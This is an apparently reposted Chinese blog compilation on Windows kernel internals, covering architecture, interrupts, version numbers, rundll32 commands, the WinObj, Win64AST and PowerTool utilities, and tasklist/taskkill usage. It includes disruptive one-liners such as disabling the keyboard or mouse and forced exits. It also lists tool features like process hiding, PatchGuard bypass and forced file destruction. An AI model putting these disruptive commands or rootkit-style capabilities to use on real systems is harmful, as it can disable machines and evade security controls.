ITKeyword,专注技术干货聚合推荐

注册 | 登录

Windows内核研究总结

bcbobo21cn 分享于 2016-02-05

推荐:Gloomy对Windows内核的分析(研究CreateProcess)

研究CreateProcess ==========================                                   Может быть я всегда знал                           

2020腾讯云8月秒杀活动,优惠非常大!(领取2860元代金券),
地址https://cloud.tencent.com/act/cps/redirect?redirect=1040

2020阿里云最低价产品入口,含代金券(新老用户有优惠),
地址https://www.aliyun.com/minisite/goods

一 Windows 的体系结构



分析环境reactos0.3.1 ,i386体系]


了解了windows的体系结构才知道reactos到底要干什么,以及如何干,因为reactos的目标是兼容windows。


下面是windows的体系结构:



这是整个windows的体系结构的总览。从图上可以看出系统被分成内核模式和用户模式。


内核模式的构成文件是系统的核心文件她包含:

hal.dll
ntoskrnl.exe
设备驱动
文件系统驱动
图形设备驱动
win32k.sys


1.首先来看第一层HAL(硬件抽象层)


  HAL使得reactOS  内核可以运行在不同的x86母板上。HAL为内核抽象母板的特定代码也许是对不同母板


定义一种抽象的接口,向上提供一种标准的接口调用,这样不同的母板就不需要改变内核,思想上有点像


驱动程序的设计,不过用在另外一个地方(具体的实现目前还不知道,以后边看代码边了解)。


2.ntoskrnl(内核)


内核又分成两层,第一层有的称为核心层(core)提供非常原始且基本的服务,如多处理器的同步、线程

调度、中断分派等等。第二层是执行体(EXECUTIVE)内核执行体提供了系统的服务,这里的服务不是指

windows服务管理器看到的那种服务,而是一些系统函数。而这些函数被划分成不同的类别:

具备虚拟存储的内存管理:采用分段和分页以及虚拟内存的方式管理内存的使用。

对象管理:采用面向对象的思想,用C来实现,在windows中一切资源都被抽象为对象。如文件对象,进程

线程对象等。
进程线程管理:负责创建和终止进程、线程。
配置管理:负责管理注册表
安全引用监视:在本地计算机上执行安全策略,保护计算机的资源
I/O管理:实现I/O的设备无关性,并负责把I/O请求分配给相应的设备驱动程序以进一步处理
即插即用管理器(PNP):确定设备应该由哪个驱动程序来支持并负责加载相应驱动。在启动时的枚举过


程中,它收集每个设备所需要的硬件资源,并根据设备的需要来分配合适的硬件资源如I/O端口,IRQ,
DMA通道之类,当系统中的设备发生变化时它负责向系统和应用程序发送通知消息。
电源管理:协调电源时间,通过合理的配置,使得CPU降低电源消耗
缓冲管理器:将最近使用过的数据留在CACHE中来提高系统的整体性能
本地过程调用(LPC)管理

 ReactOS因为兼容windows,因此在设计上也提供相同的功能,只是实现方法有所不同而已。

 3.设备驱动程序
    
 设备驱动程序是核心态可加载模块(以.SYS为扩展名,存放在system32\drivers),它们是I/O管理器和


相关硬件设备的接口。设备驱动程序采用一种I/O管理所规定的接口标准来编写,因此可以被内核执行体


的I/O管理单元调用来驱动硬件的工作。


4.文件系统驱动程序


文件系统驱动程序也是核心态可加载模块(以.SYS为扩展名system32\drivers),文件系统其实是强加给

存储硬件的一种文件存放规则。某类文件系统其实就是按照他的文件存取规则在存储器上组织文件的信息

。比如FAT32 按照FAT32的存储规则来存放文件ext2又按照ext2的文件规则存放文件。

文件系统按照I/O管理的接口标准来实现一组存储规则,同时文件系统也可以将信息按照自己的存储方式

请求I/O管理单元,让I/O管理单元通过这个设备的设备驱动程序将信息存放到该设备上。

这样的方式使得文件系统只负责存储规则的定义。而驱动程序去处理硬件的调度(比如如何移动磁头臂,


采用什么调度算法等)而I/O管理仅仅是他们之间的协调员,至于如何协调,I/O管理向外定义了自己的标准。


5.图形设备驱动


这个设备有点独特,从图上来看,(这个图是windows 2000的体系结构图)好像只有内核模式设备驱动也

就是win32k.sys才能启动。图形设备驱动其实和其他的设备驱动程序我想也不会有太大的差别(以后看代

码在了解)。

不过有一点可以了解,那就是图形设备驱动是由win32k来驱动的,估计提供的也是硬件驱动。

6.win32k

这个东西应该是windows所说的win32子系统的内核部分(原生子系统,其他的子系统是可以分割的),如

果没有这个子系统windows就不能运行?(好像微软是这么说的,原因好像是win32 的文档化的 API都是

通过这个子系统实现的,据说最初的子系统都通过CSRSS来实现,这个东西最初好像包含至少3个子系统,

1.win32,2.OS/2,3.POSIX,随着win32的羽翼逐渐丰满,在发行时就不再包含其他两个。但是还是依然

叫CSRSS,慢慢看代码才知道,这些都是道听途说)。


win32k也被划分成两个部分,第一个是USER32,第二个是GDI32,

ReactOS的win32K估计基本上都是通过wine移植过来的。


USER32:


包含了windows管理的操作吧,比如如何创建窗口,显示窗口,隐藏窗口,移动窗口排列窗口z轴,对拥有
窗口的Z轴排序,Region(可视区域)操作,鼠标集中测试等。


GDI32:


包含图形设备的绘制操作(这些操作也可以叫服务),比如画点,画线,位图操作等,GDI会将一些复杂

的绘图操作转变成简单的绘制请求发送给图形驱动程序(如果这个图形驱动程序不支持复杂绘制)还有就

是一些设备无关的位图操作,有的可以保存在内存或文件,而如果将设备无关的位图输出的话就会被转换

成设备相关的位图然后再输出。
================

二 windows内核相关基础



<一>windows内核初窥(一)--体系结构



一,windows2000体系结构
(1)系统模型
   在大多数多用户的OS中,用户程序和系统程序是分开的---系统程序是一个比较高的优先级上运行(核


心态),而用户程序是在一个较低的等级上运行。系统程序有对系统数据和硬件的操作权,而用户程序要


想操作系统数据或者硬件就只能通过系统程序。系统程序在windows2000中是以服务的形式给出。当一个


用户程序要访问系统数据时,通过向相应的服务发出请求而实现,而此时CPU通过一个陷阱来陷入到核心


态来运行。当所要求的服务完成返回时,windows2000负责恢复用户线程(windows2000中,CPU是以线程为


单位来进行调度的)的寄存器状态等,从而使得用户线程得以继续运行。windows2000中,内核和设备驱动


都是运行在核心态,它们使用同一段内存空间,这意味着属于某个组成部分的数据有可能被其它的组成部


分所修改,有潜在的风险!各个组成部分之间又是可以相互协作的,为了完成一个任务,往往需要这些组


成部分之间进行合作。
(2)可移植性
  windows2000被设计成能在多种硬件平台上运行,它是怎么实现其移植性的呢?我们知道每个平台上的


指令系统都不同,所以,不同平台上的代码肯定是不一样的,所以实现移植性的手段也不是很神秘的,主


要是以下两点:
     1,windows2000是分层次的,底层部分是平台相关的,而上层部分是平台无关的。也就是说对于每


个硬件平台底层部分都要有一个实现,而底层对上层的接口是统一的,所以上层就不用关心底层到底是怎


么样实现的,它关心的就是他们之间的接口。 在windows2000中,实现可移植性的两个重要部分是内核


(kenel)和硬件抽象层(HAL),这两个部分我们以后会详细说
     2,windows2000的大部分是用C写的,也有一部分是用C++写的,汇编语言只用在直接跟硬件打交道


的地方和对性能要求教高的地方。




     上面这个系统结构图在很多书上都有,它就是windows2000的结构图,下面我们就来详细说说各个部


分的功能:


      从上图我们可以看出,在用户态,windows2000有三个子系统,分别为win32,posix,os/2.其中最重


要的就是win32,它负责输入输出管理,没有它,系统将无法工作,其它两个子系统需要配置才能启动。我


们主要精力放在win32上,因为这是我们用的最广的。我们要特别注意以下三个关键点:子系统进程,子


系统动态链接库,用户进程。


   (1) 子系统进程:win32子系统在windows2000中是以一个进程的形式出现的(csrss.exe)。它负责


所有win32用户进程,线程的创建与撤消,建立与撤消临时文件,以及控制台的管理。


   (2)子系统动态链接库:win32子系统用的动态链接库,里面有子系统所需要的大部分功能。


    (3)用户创建的运行于wn32子系统之上的应用程序。


   用户进程并不直接地调用系统服务,它们直接调用子系统动态链接库,当一个程序调用子系统动态链


接库的一个功能时,可能会发生以下三中情形之一:


   (1)所要求的功能全部是由子系统动态链接库提供,也就是说程序完全运行于用户态。


   (2)需要调用一个或者多个运行于核心态的服务。


   (3)需要子系统进程的协助才能完成,这时,用户进程向子系统进程发送一C/S请求,具体工作由子


系统进程来完成。


 特别说明,当用户进程调用系统服务时实际上是通过设置一个陷阱陷入到核心态来运行,将运行权交给


系统服务调度程序来调度,并不用通过创建新的进程,线程来实现。


ntdll.dll


子系统下面是 ntdll.dll,它提供了一些子系统动态链接库所需要的功能。其实,NTDLL.DLL的最主要功


能就是为它的下层---执行体提供一个文档化接口,使得它以上的各个模块可以调用执行体提供的服务。


执行体:


      这是令人激动的一层,因为从这层开始我们就进入了windows的核心态,虽然我们对核心态的具体


含义不是太清楚,没有关系,随着我们研究的深入你就会慢慢发现这是最重要的一层,因为所有windows


的主要功能都是在这里完成的,下面我们就一点一点剖开:


     这一层包含以下几种重要函数(服务):


(1)可以从用户态直接调用的函数,这些在NTDLL中文档化(前面已说过),这些中大多数都可以调用某


个WIN32 API来启动所对应的服务。


(2)只能从核心态调用的函数,其中有一些在DDK中已文档化,编写windows上驱动程序的人员必须熟悉





(3)没有文档化的函数,供执行体内部使用


执行体从总体上可以分为以下几个模块:


(1)配置管理器:负责管理注册表,我们以后会详解


(2)进程、线程管理器:负责创建和终止进程、线程。


(3)安全引用监视器:在本地计算机上执行安全策略,保护计算机的资源


(4)I/O管理器:实现I/O的设备无关性,并负责把I/O请求分配给相应的设备驱动程序以进一步处理


(5)即插即用管理器(PNP):确定设备应该由哪个驱动程序来支持并负责加载相应驱动。在启动时的枚


举过程中,它收集每个设备所需要的硬件资源,并根据设备的需要来分配合适的硬件资源如I/O端口,IRQ


,DMA通道之类,当系统中的设备发生变化时它负责向系统和应用程序发送通知消息。


(6)电源管理:协调电源时间,通过合理的配置,使得CPU降低电源消耗


(7)缓冲管理器:将最近使用过的数据留在CACHE中来提高系统的整体性能


(8)虚拟内存管理:这是最为让人激动的地方,对于这个部分的理解会影响我们对整个系统结构的理解


,我们会在以后详细解说


(9)WDM管理方法例程:可以让设备驱动程序发布性能和配置信息以及从用户态的WMI服务接受命令


         在WINDOWS平台上有过编程经历的人一定对句柄(handle)不陌生,句柄到底是什么样的东东呢


??这往往给一些初学者带来一些迷惑。其实要真正理解句柄就要从windows的设计理念上来解决这个问


题,那就是wndows是面向对象的,它把系统的一些资源,进程,文件等都看成对象,用对象管理器对这些


对象统一管理。对于用户来说是通过句柄来操作响应对象的,可以看成是对象的一个引用。


内核:
     内核是执行体的下一个层次,它为执行体提供一些最基本的功能,简单的对象,而执行体就通过在


这些简单对象上加上一些安全属性,控制属性等来完成更为复杂的功能。它重要提供以下四种函数:
(1)线程调度
(2)陷阱处理和异步调度
(3)中断处理和调度
(4)多处理器同步


   内核提供了一个低层次的系统原语和机制供执行体来调用以实现其功能。内核只是提供了底层的机制


,而不做任何策略性的事务。但线程的调度和异常处理是在内核中实现的,内核永远都运行在核心态。
   一类对象叫做控制对象,包括APC,DPC对象以及I/O要用到的对象,如中断对象。
   一类对象叫做调度对象,用于线程调度。这些对象包括线程,互斥体,事件,内核事件对,信号量,


定时器,可等待定时器。


   硬件支持:
   内核的另一主要功能是使得执行体和设备驱动独立于硬件,这个工作包含处理多个方面的差异:中断


处理,异常处理,多处理器同步方式的差异


硬件抽象层(HAL):
   这是windows2000实现其可移植性最重要的组成部分,HAL是一个可加载的核心态模块(HAL.DLL),它


提供了windows2000所运行的硬件平台的底层接口,HAL隐藏了各种与硬件有关的细节,比如I/O接口、中


断控制器、多处理通信机制等----这些都是平台相关的。当需要平台相关的信息时,windows2000的内部


模块或者用户程序通过HAL来实现。


设备驱动程序:
    
    设备驱动程序是核心态可加载模块(以.SYS为扩展名),它们是I/O管理器和相关硬件设备的接口。


它们运行于以下三种环境之一:
    (1) 在一个初始化了I/O函数的用户线程环境中
    (2) 在内核模式的系统线程中
    (3) 中断发生后(不在任何进程和线程中运行,中断发生时哪一个进程或者线程正在运行)
    如前所述,windows2000的设备驱动程序并不直接操作硬件,而是调用HAL中的函数作为与硬件的接口


。驱动程序通常用C语言写(有时用C++)。因此,设备驱动程序通过使用HAL可以实现平台无关性。
     有以下几中设备驱动程序:
    (1)硬件驱动程序:实现对物理硬件的读写(通过使用HAL)。
    (2)文件系统驱动程序:是面向文件I/O的驱动程序,它把这些请求转化成绑定到特定设备的I/O请



    (3)文件过滤器驱动程序
    (4)网络重定向驱动程序
    (5)协议驱动程序
    (6)内核流过滤器驱动程序
  因为安装驱动程序是把用户编写的用户态代码添加到系统的唯一办法,因此,一些程序员通过编写设备


驱动程序可以访问OS的内部函数或者内部数据结构。




    好,到此为止我们对windows2000的整体结构有了大概的了解,在接下来的日子里我们要对每个部分


进行更为深入的研究,并且会举一些例子程序来辅助说明,因为我们学它的目的就是为了用,为了改变!


<二>windows内核初窥(二)-系统机制



系统机制:
windows2000为执行体、内核、设备驱动程序等核心态部分提供了一些基础机制。先让我们看看都有哪些:

    (1)陷阱调度:包括中断、延迟过程调用(DPC)、异步过程调用(APC)、异常处理、系统服务调


度。
    (2)执行体对象管理
    (3)同步机制:自旋锁、内核调度对象以及等待是如何实现的
    (4)系统线程
    (5)多种系统机制如windows2000全局标志
    (6)本地过程调用
下面我们就来逐个分析:
 
陷阱调度:
 
中断和异常的实质是使CPU不按照正常的步骤来工作,硬件和软件都能够察觉到它们。陷阱是当异常或者


中断发生时能够保存当前线程状态并转向相应处理的一种系统机制。在windows2000中,处理器将控制交


给陷阱处理程序--一些专门来处理中断、异常的程序。下图给出了一些激活陷阱处理程序的示例:
中  断
中断处理过程
陷阱处理程序
请求系统服务
中断处理过程
软、硬件异常
异常调度程序
异常
处理
虚拟地址异常
虚拟地址管理
 
 
 
内核通过以下方式来分辨中断和异常:中断是一个异步事件(可以在任何时间产生),不管处理器在执行


什么程序。中断典型地由I/O设备、时钟、定时器产生,必要时我们可以屏蔽中断。而异常是一个同步事


件,它是由正在执行的特定代码产生的,重新执行相同的代码会重复产生特定的异常。比如访问非法内存


、除数为0等。系统把系统服务也作为异常来处理。
无论是硬件或者是软件都能产生中断和异常,比如说,一个总线异常是由硬件引起的,而除数为0显然是


软件中的BUG导致的;同样,I/O设备可以产生中断,内核本身也能产生软中断(APC,DPC)。
当一个硬件中断或者异常发生时,处理器收集足够的状态信息以保证当异常或中断处理完毕后可以正确返


回到当前执行点。处理器通过在当前线程的内核栈区建立一个陷阱框架(用来保存现场)来实现。陷阱框


架通常时线程整个上下文环境的一部分。而把软中断当成硬中断的一部分来处理,或者是调用内核中相应


的处理程序。
在大多数情况下,当有陷阱发生时内核负责寻找相应的处理程序并且在处理程序返回时负责恢复中断线程


的继续执行。
中断调度:
硬件中断是由I/O设备产生以求获得CPU服务的,这种中断机制使得CPU的利用率提高很多。软件也能够产


生中断,比如说,内核可以发起一个中断来进行线程调度。内核在必要的时候可以关中断,这样CPU就可


以屏蔽掉任何中断-----这在有些时候是必要的,比如线程对于临界区的访问,异常处理等。
 硬件中断处理:
 在X86家族里,外部中断在中断控制器里进行排队,控制器依次中断CPU的运行。当CPU被中断时,它要求


中断控制器提交中断请求,中断控制器将中断请求翻译为中断请求号,并且把这个号码当成索引来查询中


断调度表(IDT),并且将控制权交给相应的中断处理程序。中断调度表(IDT)在系统启动的时候就已经


初始化了,里面包括中断号和相应处理程序的对应。
 中断请求登等级IRQL:
 中断是有等级的,这对于软、硬中断都是适用。内核将中断为0---31共32个等级,等级高的权限高。内


核负责将软中断对应到相应的等级上,HAL负责将硬件中断对应到相应的等级上。如下图所示:
中断处理是按等级来运行的,并且是抢占式的,高等级的可以阻塞低等级的运行。当运行中断处理程序时


,CPU把自己的IRQL设置为要执行的中断的IRQL,然后运行.
那么系统是如何把硬件中断映射到相应的IRQL的呢?答案是HAL,在WINDOWS2000中,总线驱动能够得知所


有连接到总线上的设备,以及每个设备能发出何种中断,紧接着总线驱动把所得到的情况汇报给PNP(即


插即用管理器),它做出抉择。最后调用HAL函数HalpGetSystemInterruptVector来实现映射。

================


三 关于windows内核版本号在哪里查看


<一> windows内核版本号在哪里查看

大家都知道现在的windows系统都有一个叫NT的内核,这是系统的核心,各个windows系统之间都不一样,

通过CDM,命令提示符
1、按下win+R组合键,弹出运行窗口。
2、在文本框中输入CMD,这是命令提示符的命令。
3、安县OK/确认,即可进入命令提示符窗口,也就是windows里的dos。
4、进去之后直接输入“VER”命令,按下enter键,即可显示系统内核,我的是6.4。

直接通过运行
1、这一种方法通过运行即可达到。
2、在运行对话框中输入“WINVER”,按下回车即可。


<二> 最近几代Windows的内核版本号

尽管微软的新一代操作系统命名为Windows 10,但在内核版本方面其实变化不大。此前发布的三个技术预览版Windows 10的内核版本均为6.4,而Win 8.1的内核版本则是6.3,这似乎意味着内核方面并未改变太多。

不过这个情况在下一次Win10预览版更新时候应该就会发生改变了,根据IT之家的报道,目前微软内部已经完成了Build 9888版Win10的编译工作,其内核已经从6.4升级为10.0,怒刷了一次版本号。
此外,微软也在IE开发者中心发布了通知,宣布Winddows NT内核版本号将从6.4提升到10.0。
这应该是迄今为止微软对Windows内核版本所做的最大一次变动了,看来微软对Win10是下了血本,尽最大的努力让它获得成功。
下面是最近几代Windows的内核版本号:
Windows Vista:6.0
Windows 7:6.1
Windows 8:6.2
Windows 8.1:6.3
Windows 10 Build 9841/9860/9879:6.4
Windows 10 Build 9888:10.0
================


四 调用Windows内核命令



对程序员而言,有一句至理名言就是:“写得好就是写得少!(Writing better is writing less)”。
以下命令可以直接在Windows的运行窗口直接执行,在Delphi中你要这样使用:
winexec(Pchar('ABCD'),sw_Show);


其中"ABCD"代表以下命令之一:
[@more@]"rundll32 shell32,Control_RunDLL" - 运行控制面板
"rundll32 shell32,OpenAs_RunDLL" - 打开"打开方式"窗口
"rundll32 shell32,ShellAboutA Info-Box" - 打开"关于"窗口
"rundll32 shell32,Control_RunDLL desk.cpl" - 打开"显示属性"窗口
"rundll32 user,cascadechildwindows" - 层叠全部窗口
"rundll32 user,tilechildwindows" - 最小化所有的子窗口
"rundll32 user,repaintscreen" - 刷新桌面
"rundll32 shell,shellexecute Explorer" - 重新运行Windows Explorer
"rundll32 keyboard,disable" - 锁写键盘
"rundll32 mouse,disable" - 让鼠标失效
"rundll32 user,swapmousebutton" - 交换鼠标按钮
"rundll32 user,setcursorpos" - 设置鼠标位置为(0,0)
"rundll32 user,wnetconnectdialog" - 打开"映射网络驱动器"窗口
"rundll32 user,wnetdisconnectdialog" - 打开"断开网络驱动器"窗口
"rundll32 user,disableoemlayer" - 显示BSOD窗口, (BSOD) = Blue Screen Of Death, 即蓝屏
"rundll32 diskcopy,DiskCopyRunDll" - 打开磁盘复制窗口
"rundll32 rnaui.dll,RnaWizard" - 运行"Internet连接向导", 如果加上参数"/1"则为silent模式
"rundll32 shell32,SHFormatDrive" - 打开"格式化磁盘(A)"窗口
"rundll32 shell32,SHExitWindowsEx -1" - 冷启动Windows Explorer
"rundll32 shell32,SHExitWindowsEx 1" - 关机
"rundll32 shell32,SHExitWindowsEx 0" - 退当前用户
"rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重启
"rundll32 krnl386.exe,exitkernel" - 强行退出Windows 9x(无确认)
"rundll rnaui.dll,RnaDial "MyConnect" - 运行"网络连接"对话框
"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 选择打印机和打印测试页
"rundll32 user,setcaretblinktime" - 设置光标闪烁速度
"rundll32 user, setdoubleclicktime" - 测试鼠标双击速度
"rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP设备


================

五 WinObj介绍与使用



一个查看windows的神秘内核的工具
 
WinObj.zip
Windows内核对象倒是是什么?那就使用这个工具看看吧,看看windows的神秘的内核长什么样子。记住,


必须是使用系统管理员的身份才可以查看




    原文地址:http://technet.microsoft.com/en-us/sysinternals/bb896657.aspx


    最近在看《windows核心编程》,上面简单的提及了如何使用WinObj查看当前系统中的内核对象。


1、介绍


    WinObj是关注安全的系统管理员必备的工具,它也可以帮助程序开发人员解决内核对象相关的bug,


通过WinObj我们可以轻松的查看系统当前的内核对象以及命名空间。


    WinObj 是一个 32 位的 Windows 内核程序,它使用本机 Windows 内核API(由 NTDLL.DLL 提供)来


访问和显示有关 内核对象管理器命名空间的信息。Winobj 似乎类似于 Microsoft SDK 的同名程序,但 


是SDK 版本存在许多重大的程序错误,这些错误会妨碍它显示准确的信息(例如,其句柄和引用计数信息


被完全中断)。此外,我们的 WinObj 支持的对象类型更多。最后,2.0 版本的 WinObj 在用户界面方面


有所增强,它知道如何打开设备对象,并允许您使用本机 NT 安全编辑器查看和更改对象安全信息。


2、运行方式
  WinObj 不需要任何设备驱动程序组件,可以像任何 Win32 程序一样运行。从上述网址下载的程序可


以直接运行不需要安装。


================

六 Win64AST - 内核级的高级系统工具



Win64AST 1.10 Beta2 - 支持64位Windows的ARK、内核级的高级系统工具


Rootkit 通常是指加载到操作系统内核中的恶意软件,因为其代码运行在特权模式之下,极具危险性。有 


Rootkit,就需要 Anti Rootkit,用到的就是 ARK 工具。


针对32位的 Windows XP 或 Windows 7 系统,已经有很多成熟的工具了,比如冰刃、早期的冰刃 


(IceSword)、Wsyscheck、到后来的狙剑 (SnipeSword)、XueTr,还有最近很给力的 PowerTool 等,但是


64位操作系统下的 ARK 工具发展相对缓慢,三个月之前 IThurricane 才发布了 PowerTool 64位版,并


支持 Windows 8。


而 Tesla.Angela 开发的 Win64AST 是另一款、也可能是全球第一个专用于64位系统的内核级的高级系统


工具,由于使用了特殊的内核技术,WIN64AST 能够从底层控制系统,有很大的操作权限,是一个强大的 


Anti Rootkit 工具,能够查看并管理64位 Windows 系统的各种内核信息,可用于手工杀毒、辅助调试、


内核研究等。


Win64AST


Win64AST 全称 Win64 Advanced System Tool,支持 Windows 7 x64、Windows 8 x64 和 Windows 2008 


R2,目前实现的功能有:


进程/内存/线程/模块/句柄/窗口管理
内核模块查看
网络连接查看和禁止
查看/恢复SSDT和Shadow SSDT
扫描/恢复RING3和RING0的内联钩子
查看并删除消息钩子
查看/恢复重要驱动程序分发函数
查看/恢复内核对象例程钩子
枚举通告和回调
枚举I/O定时器
枚举DPC定时器
枚举MiniFilter/失效MiniFilter的回调函数
枚举/摘除过滤驱动
查看/备份/恢复/自动修复主引导记录(MBR)
进程行为监视(创建进程/创建线程/加载驱动/修改注册表/改动文件系统/连接网络/修改时间)
内核内存编辑
在驱动里枚举文件、强制新建/解锁/删除/破坏文件
在驱动里枚举注册表、强制删除/新建/重命名注册表键(KEY)和注册表值(VALUE)
禁止创建进程/禁止创建文件/禁止创建注册表键(KEY)和注册表值(VALUE)/禁止加载驱动
校验文件签名
枚举/恢复中断描述符表钩子
.枚举全局描述符表
显示特殊寄存器的值
检测进程的IAT钩子和EAT钩子
查看/备份/恢复/自动修复卷引导记录(VBR)
网络防火墙
枚举/删除SPI、BHO、IE右键菜单
DLL/驱动加载器
动态开启/关闭LKD和DSE(警告:此功能会触发 PatchGuard 导致蓝屏,仅限“内核开发人员”使用)
隐藏进程(警告:此功能会触发 PatchGuard 导致蓝屏,仅限“内核开发人员”使用)
使用说明:2015/1/4 更新版本为 Win64AST 1.10 Beta2 测试版,下载后直接运行 Win64AST.exe 即可,


注意 Win64AST 在 Windows 7 上需要安装 .NET Framework 4 方可运行,而 Windows 8 则不用安装 


.NET Framework 4。


Tesla.Angela 说明了 WIN64AST 与 PowerTool x64 的不同之处:


PowerTool 的作者 ithurricane 大牛把 PowerTool 定位为「手动杀毒工具」,主要用于手动杀毒;而我


把 Win64AST 定位为「高级系统工具」,里面有部分 ARK 功能,也有部分 RK 的功能(比如:隐藏进程


、保护进程和强制修改进程内存,将来可能还会添加更多的功能),可用于辅助研究 Win64 内核,也可


以干一些“邪恶”的事情,比如辅助游戏多开等,推荐两者一起使用。
Win64AST


Win64AST 1.10 Beta2 更新日志:


解决部分系统上用户态HOOK扫描不全的问题
解决内核态INLINE HOOK扫描不全的问题
增加扫描内核态EAT/IAT HOOK的功能
增加扫描全局无签名DLL的功能
增强文件破坏功能(支持多种磁盘类型并能无视大部分HOOK)
增加显示更多IRP分发函数的信息
增加显示更多OBJECT类型的信息
增强无签名DLL/SYS加载器功能(支持CALL导出函数和驱动控制码)
增加重启突破WIN7/8/8.1X64的PATCHGUARD的功能
增加更多防火墙的过滤条件(端口、目录[可以禁止整个目录下的程序访问网络])
恢复并完善“行为监视器”功能
其它一些小的改进


================

七 PowerTool  - 内核级的手动杀毒、进程管理工具



PowerTool 64位版 v1.6 - 内核级的手动杀毒、进程管理工具


PowerTool 是由 IThurricane 开发的一个免费的手动杀毒辅助工具,从最初只有进程管理、文件粉碎等


基本功能,到现在已发展为一个全面的系统维护工具,完美支持 Windows 7 和 Windows 8。


PowerTool 帮助你找出病毒木马在你的电脑中动过的手脚,并去除病毒设下的机关,目前具备以下功能模


块:系统修复、进程管理、内核模块、内核相关、钩子、应用层、文件、注册表、离线分析、启动项、系


统服务、网络、漏洞修复、硬件温度检测等。


PowerTool 的特色在于它们能够获取较高权限,从而执行一些底层的系统维护操作,如常用的强制结束进


程、强制删除文件、强制编辑注册表、强制删除系统服务等等。作为内核级手动杀毒辅助工具,


PowerTool 与之前介绍的 XueTr 不相上下,并且 PowerTool 提供的功能还要多些,操作体验也好些,处


理速度蛮快,推荐使用。


PowerTool 有一个离线分析的功能很有特色,即用于 Windows PE 环境的维护功能,可以在启动系统前,


处理掉恶意病毒的相关的启动项及其文件,这一点真的不错,可以替代 ScanVirus 了(顺便怀念下 


Wsyscheck )。


使用说明:2014/1/30 更新版本为 PowerTool x86 4.3 和 PowerTool x64 1.6,此版开始支持 Windows 


8 / Windows 8.1。此外,针对64位操作系统的底层系统工具还可以试试 Win64AST。


PowerTool


PowerTool目前能完成的功能列表如下:


所有进程的枚举(包括内核中隐藏的进程)
所有文件的枚举(包括内核中隐藏的文件)
进程中所有模块的枚举(包括内核中隐藏的模块)
进程的强制结束
进程中模块的强制卸载
模块被哪些进程加载的检索
查看文件/文件夹被占用的情况
可以 Unlock 占用文件的进程
文件/文件夹的粉碎(可强删 Unlocker1.8.9/金山/超级巡警文件粉碎机无法删除的顽固文件)
阻止文件粉碎后用还原软件还原(采用美国国防部DOD 5220.22-m标准阻止文件还原)
用磁盘解析技术检索硬盘数据
内核模块和驱动的查看和管理
启动项的查看和管理
系统服务的查看和管理
集成文件粉碎功能到系统右键菜单
消息钩子的查看和卸载
SSDT/Shadow SSDT 钩子的查看和卸载
各种内核回调的查看和卸载
多国语言版本的对应(中文和英文)
暂停进程运行和恢复进程运行
进程模块的内存的dump
进程的线程的查看和结束
进程的窗口的查看和控制
进程的定时器的查看和摘除(该功能还没对应Windows2003)
内核定时器的查看和摘除
上传文件在线扫描病毒
查看和摘除用户层的钩子
查看和结束内核线程
关机回调的清除
查看和摘除mini文件驱动
系统恢复功能(检测项目包括注册表关键部位,已安装的杀毒软件、AutoRun文件、Windows漏洞检测、共


享文件夹)
流氓快捷方式的检测和删除
镜像劫持的检测和删除
文件关联的检测和删除
IE相关的检测和删除
FSD Hook的检测和删除
Object Hook的检测和删除
部分CPU/硬盘/显卡/主板的温度检测
部分硬件信息的确认
修复漏洞功能,可以下载和安装Windows补丁
IDT钩子的检测和恢复
禁止进城创建,新建文件,注册表修改等配置
注册表功能,几乎可以无视一切隐藏注册表的钩子
SPI的检测
通过磁盘解析进行文件浏览
文件强制拷贝功能,可拷贝网络视频的缓存文件
通过磁盘解析取得和拷贝ADS流文件
添加和查看文件重启删除信息
Disk/Atapi驱动钩子的检测和恢复
进程权限的枚举和摘除
检测键盘侦听软件
检测被监视的文件
IO定时器的检测和停止
工作列线程的检测和暂停
FAT32格式的磁盘解析
新增MBR的检测和修复(可对抗鬼影等Bootkit和MBR Rootkit)
新增检测被替换的或被感染的内核文件(内核文件劫持)
支持多硬盘的MBR检测和恢复
新增可疑设备的检测和清除
支持离线的启动项和服务的检测和删除
新增注册表和服务的强删功能
PowerTool


PowerTool is a free anti-virus & rootkit utility. It offers you the ability to detect, 


analyze and fix various kernel structure modifications and gives you a wide scope of the 


kernel.


PowerTool 64位 V1.6 更新日志:


增加了摘除过滤驱动
增加了删除文件夹目录了(递归删除)
增加了重命名文件
加强了文件删除强度(可以强删被360,微点保护的文件)
修改了查看进程API钩子的BUG
恢复了在线升级功能
PowerTool 4.3 更新说明:


全面支持 Windows 8 build 9200
显示进度条时不允许切换画面,防止误操作
服务里面追加了类型,相关进程和ServerDll的信息
修改了几个小BUG
================

八 常用工具:windows内核与驱动程序设计



运行在被调试机上的工具软件:
1.加载驱动程序的工具
    EZDriverInstaller  和osrloader
 
2 IRP跟踪和调试
    IRPTrace


3 USB查看工具
    DDK自带的usbview,可以清楚的列举出各个USB的信息,如设备描述符,管道描述符等
     BUShound 可用于usb、1394、SCSI/IDE等总线设备。它的实现原理是在USB设备驱动之上加载一层过


滤驱动程序,将irp进行拦截


4 windows 对象查看工具
   winobj
    devicetree 列表更加详细
5 查看驱动调试信息
    dbgview(debugview)
================


九 windows命令行下查看进程号



win2k/xp怎么样在命令行中查看当前进程,关闭当前某个进程?
 
tasklist
 
杀进程
taskkill   /pid   程序的PID号码
 
tasklist | find "关键字" 可以对结果进行过滤,find相当于linux下的grep,后面的关键字要加引号。


================


十 WINDOWS下kill进程的命令



两个很实用的命令:Tasklist与Tskill。


命令:Tasklist 
功能:命令用来显示运行在本地或远程计算机上的所有进程,可以监控用户的操作。 
命令格式: 
Tasklist [/S system [/U username [/P [password]]]] [/M [module] | /SVC | /V] [/FI filter] 


[/FO format] [/NH] 
参数含义 
/S system  指定连接到的远程系统。 
/U [domain\]user 指定使用哪个用户执行这个命令。 
/P [password]  为指定的用户指定密码。 
/M [module]  列出调用指定的DLL模块的所有进程。如果没有指定模块名,显示每个进程加载的所有模


块。 
/SVC 显示每个进程中的服务。 
/V 显示详细信息。 
 
如果我们只是查看本地主机进程信息,直接办入命令即可。下面的实例是从客户机远程查看内网中某台主


机时程信息。 
假如我们有一台服务器: 
内网地址:192.168.0.1, 
管理员帐号:administrator 
管理员密码:password 
我们需要在CMD窗口输入: 
Tasklist /s 192.168.0.1 /u administrator /p password 
这条命令可以使我们方便的查看到远程主机的运行情况,当然前提是保证RPC服务正常启动。


命令:tskill
  功能:用来关掉进程的 
命令格式: 
TSKILL processid | processname [/SERVER:servername] [/ID:sessionid | /A] [/V] 
参数含义 
processid 要结束的进程的 Process ID。 
processname 要结束的进程名称。 
